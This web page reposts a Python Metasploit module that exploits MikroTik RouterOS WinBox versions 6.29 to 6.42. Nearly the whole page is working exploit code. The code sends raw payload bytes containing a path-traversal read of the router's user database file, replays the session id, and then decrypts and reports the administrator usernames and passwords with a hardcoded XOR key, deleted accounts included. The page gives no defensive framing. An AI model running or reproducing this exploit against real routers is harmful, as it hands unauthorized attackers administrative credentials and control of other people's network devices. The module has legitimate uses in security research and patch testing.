Menu

Mikrotik WinBox 6.42 – Credential Disclosure (Metasploit)

August 11, 2018 - Exploits

 # Date: 2018-05-21 
 # Exploit Author(s): Omid Shojaei (@Dmitriy_area51), Dark VoidSeeker, Alireza Mosajjal 
 # Vendor Page: https://www.mikrotik.com/ 
 # Sotware Link: https://mikrotik.com/download 
 # Version: 6.29 - 6.42 
 # Tested on: Metasploit Framework: 4.16.58-dev on Kali Linux 
 # CVE: N/A 
  
 ''' 
 This module extracts Mikrotik's RouterOS Administration Credentials 
 and stores username and passwords in database. Even deleted or disabled 
 users and passwords get dumped. 
  
 Note: This module needs metasploit freamework. 
 ''' 
 #!/usr/bin/env python3 
  
 import sys 
 import socket 
 import hashlib 
 import logging 
 from metasploit import module 
  
 FIRST_PAYLOAD = \ 
     [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 
      0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 
      0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 
      0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 
      0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 
      0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 
      0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 
      0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 
      0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 
      0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 
      0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 
      0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 
      0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 
      0x00, 0x00] 
  
  
 SECOND_PAYLOAD = \ 
     [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 
      0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 
      0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 
      0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 
      0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 
      0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 
      0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 
      0x00, 0x02, 0x00, 0x00, 0x00] 
  
  
 METADATA = { 
     "name": "Mikrotik RouterOS WinBox Credentials Leakage", 
     "description": '''This module extracts winbox credentials in 
 winbox releases prior to 04/20/2018 
     ''', 
     "authors": [ 
         "Omid Shojaei (@Dmitriy_area51)", 
         "Dark VoidSeeker", 
         "Alireza Mosajjal"   # Original author 
     ], 
     "date": "2018-05-21", 
     "license": "MSF_LICENSE", 
     "references": [ 
         {"type": "url", "ref": "https://github.com/BigNerd95/WinboxExploit"} 
     ], 
     "type": "single_scanner", 
     "options": { 
         "RHOSTS": { 
             "type": "address", 
             "description": "The Mikrotik device to extract credentials (Just 1 IP)",  
             "required": True, 
             "default": None 
         }, 
         "RPORT": { 
             "type": "string", 
             "description": "The Mikrotik device's winbox port number.", 
             "required": True, 
             "default": 8291 
         } 
     } 
 } 
  
 def decrypt_password(user, pass_enc): 
     key = hashlib.md5(user + b"283i4jfkai3389").digest() 
  
     passw = "" 
     for i in range(0, len(pass_enc)): 
         passw += chr(pass_enc[i] ^ key[i % len(key)]) 
      
     return passw.split("\x00")[0] 
  
 def extract_user_pass_from_entry(entry): 
     user_data = entry.split(b"\x01\x00\x00\x21")[1] 
     pass_data = entry.split(b"\x11\x00\x00\x21")[1] 
  
     user_len = user_data[0] 
     pass_len = pass_data[0] 
  
     username = user_data[1:1 + user_len] 
     password = pass_data[1:1 + pass_len] 
  
     return username, password 
  
 def get_pair(data): 
  
     user_list = [] 
  
     entries = data.split(b"M2")[1:] 
     for entry in entries: 
         try: 
             user, pass_encrypted = extract_user_pass_from_entry(entry) 
         except: 
             continue 
  
         pass_plain = decrypt_password(user, pass_encrypted) 
         user  = user.decode("ascii") 
  
         user_list.append((user, pass_plain)) 
  
     return user_list 
  
 def dump(data, rhost): 
     user_pass = get_pair(data) 
     for user, passwd in user_pass: 
         logging.info("{}:{}".format(user, passwd)) 
         module.report_correct_password(user, passwd, host=rhost) 
  
 def run(args): 
     module.LogHandler.setup(msg_prefix="[{}] - ".format(args['rhost'])) 
  
     #Initialize Socket 
     s = socket.socket() 
     s.settimeout(3) 
     try: 
         s.connect((str(args['RHOSTS']), int(args['RPORT']))) 
     except socket.timeout: 
         logging.error("Not Vulnerable!!!") 
         return 
  
     #Convert to bytearray for manipulation 
     a = bytearray(FIRST_PAYLOAD) 
     b = bytearray(SECOND_PAYLOAD) 
  
     #Send hello and recieve the sesison id 
     s.send(a) 
     d = bytearray(s.recv(1024)) 
  
     #Replace the session id in template 
     b[19] = d[38] 
  
     #Send the edited response 
     s.send(b) 
     d = bytearray(s.recv(1024)) 
  
     #Get results 
     module.report_host(args['RHOSTS']) 
     dump(d[55:], args['RHOSTS']) 
  
 if __name__ == "__main__": 
     module.run(METADATA, run)

Leave a Reply

Your email address will not be published. Required fields are marked *